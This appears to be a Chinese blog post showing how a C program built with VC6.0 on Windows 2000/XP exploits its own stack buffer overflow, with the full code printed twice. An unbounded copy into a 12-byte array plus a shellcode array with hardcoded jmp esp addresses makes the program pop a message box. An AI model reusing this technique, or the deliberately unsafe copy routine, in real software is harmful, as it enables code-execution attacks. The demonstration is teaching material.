以下列出一个简单的利用自身堆栈溢出漏洞,攻击自己的程序。
编译使用环境Windows2000/WindowsXP/VC6.0以下代码直接编译就可以产生简单攻击效果。
正常无溢出程序,弹出OK对话框,当然需要你将aucName数组0xFE结束符添加并不使其溢出。
溢出Debug版程序,弹出DBG HelloWorld!对话框,选择Debug编译即可。
溢出Release程序,弹出HelloWorld!对话框,选择Release编译即可。
代码详解,下回分解,^_^。
#include
"
windows.h
"
#define UINT8 unsigned char
/**/ /* 该函数构造一个简单的溢出函数 */
void GetName(UINT8 * pucSrcName, UINT8 * pucDstName)
... {
while ((*pucSrcName) != 0xfe)
...{
*pucDstName++ = *pucSrcName++;
}
*pucDstName = 0;
}
/**/ /* 在此函数中,调用后GetName弹出时,注入程序接管 */
void ShowComputerName(UINT8 * pucName)
... {
UINT8 pucComputerName[12];
GetName(pucName,pucComputerName);
}
/**/ /* 仅为了提供MessageBox和ExitProcess地址,及jmp esp指令 */
void ShowMessageBox( void )
... {
MessageBox(0, "OK", "OK", 0);
ExitProcess(0);
__asm jmp esp;
}
/**/ /* 模拟的异常串注入代码 */
UINT8 aucName[ 1024 ] =
... {
#ifdef _DEBUG
'D','B','G',' ',
'H','e','l','l',
'o','W','o','r',
'l','d','!',0x00,
/**//* Debug版 jmp esp地址 */
0x36,0x11,0x40,0x00,
/**//*
push 0
push 421A30h Debug版本数组aucName的起始地址
push 421A30h Debug版本数组aucName的起始地址
push 0
call MessageBox
*/
0x6A,0x00,
0x68,0x30,0x1A,0x42,0x00,
0x68,0x30,0x1A,0x42,0x00,
0x6A,0x00,
0xFF,0x15,0x8C,0x52,0x42,0x00,
/**//*
push 0
call ExitProcess
*/
0x6A,0x00,
0xFF,0x15,0xDC,0x51,0x42,0x00,
/**//* 结束符号 */
0xFE
#else
'H','e','l','l',
'o','W','o','r',
'l','d','!',0x00,
/**//* Release版 jmp esp地址 */
0x72,0x10,0x40,0x00,
/**//*
push 0
push 405030h Release版本数组aucName的起始地址
push 405030h Release版本数组aucName的起始地址
push 0
call MessageBox
*/
0x6A,0x00,
0x68,0x30,0x50,0x40,0x00,
0x68,0x30,0x50,0x40,0x00,
0x6A,0x00,
0xFF,0x15,0x90,0x40,0x40,0x00,
/**//*
push 0
call ExitProcess
*/
0x6A,0x00,
0xFF,0x15,0x48,0x40,0x40,0x00,
/**//* 结束符号 */
0xFE
#endif
} ;
int main( int argc, UINT8 * argv[])
... {
ShowComputerName(aucName);
ShowMessageBox();
return 0;
}
#define UINT8 unsigned char
/**/ /* 该函数构造一个简单的溢出函数 */
void GetName(UINT8 * pucSrcName, UINT8 * pucDstName)
... {
while ((*pucSrcName) != 0xfe)
...{
*pucDstName++ = *pucSrcName++;
}
*pucDstName = 0;
}
/**/ /* 在此函数中,调用后GetName弹出时,注入程序接管 */
void ShowComputerName(UINT8 * pucName)
... {
UINT8 pucComputerName[12];
GetName(pucName,pucComputerName);
}
/**/ /* 仅为了提供MessageBox和ExitProcess地址,及jmp esp指令 */
void ShowMessageBox( void )
... {
MessageBox(0, "OK", "OK", 0);
ExitProcess(0);
__asm jmp esp;
}
/**/ /* 模拟的异常串注入代码 */
UINT8 aucName[ 1024 ] =
... {
#ifdef _DEBUG
'D','B','G',' ',
'H','e','l','l',
'o','W','o','r',
'l','d','!',0x00,
/**//* Debug版 jmp esp地址 */
0x36,0x11,0x40,0x00,
/**//*
push 0
push 421A30h Debug版本数组aucName的起始地址
push 421A30h Debug版本数组aucName的起始地址
push 0
call MessageBox
*/
0x6A,0x00,
0x68,0x30,0x1A,0x42,0x00,
0x68,0x30,0x1A,0x42,0x00,
0x6A,0x00,
0xFF,0x15,0x8C,0x52,0x42,0x00,
/**//*
push 0
call ExitProcess
*/
0x6A,0x00,
0xFF,0x15,0xDC,0x51,0x42,0x00,
/**//* 结束符号 */
0xFE
#else
'H','e','l','l',
'o','W','o','r',
'l','d','!',0x00,
/**//* Release版 jmp esp地址 */
0x72,0x10,0x40,0x00,
/**//*
push 0
push 405030h Release版本数组aucName的起始地址
push 405030h Release版本数组aucName的起始地址
push 0
call MessageBox
*/
0x6A,0x00,
0x68,0x30,0x50,0x40,0x00,
0x68,0x30,0x50,0x40,0x00,
0x6A,0x00,
0xFF,0x15,0x90,0x40,0x40,0x00,
/**//*
push 0
call ExitProcess
*/
0x6A,0x00,
0xFF,0x15,0x48,0x40,0x40,0x00,
/**//* 结束符号 */
0xFE
#endif
} ;
int main( int argc, UINT8 * argv[])
... {
ShowComputerName(aucName);
ShowMessageBox();
return 0;
}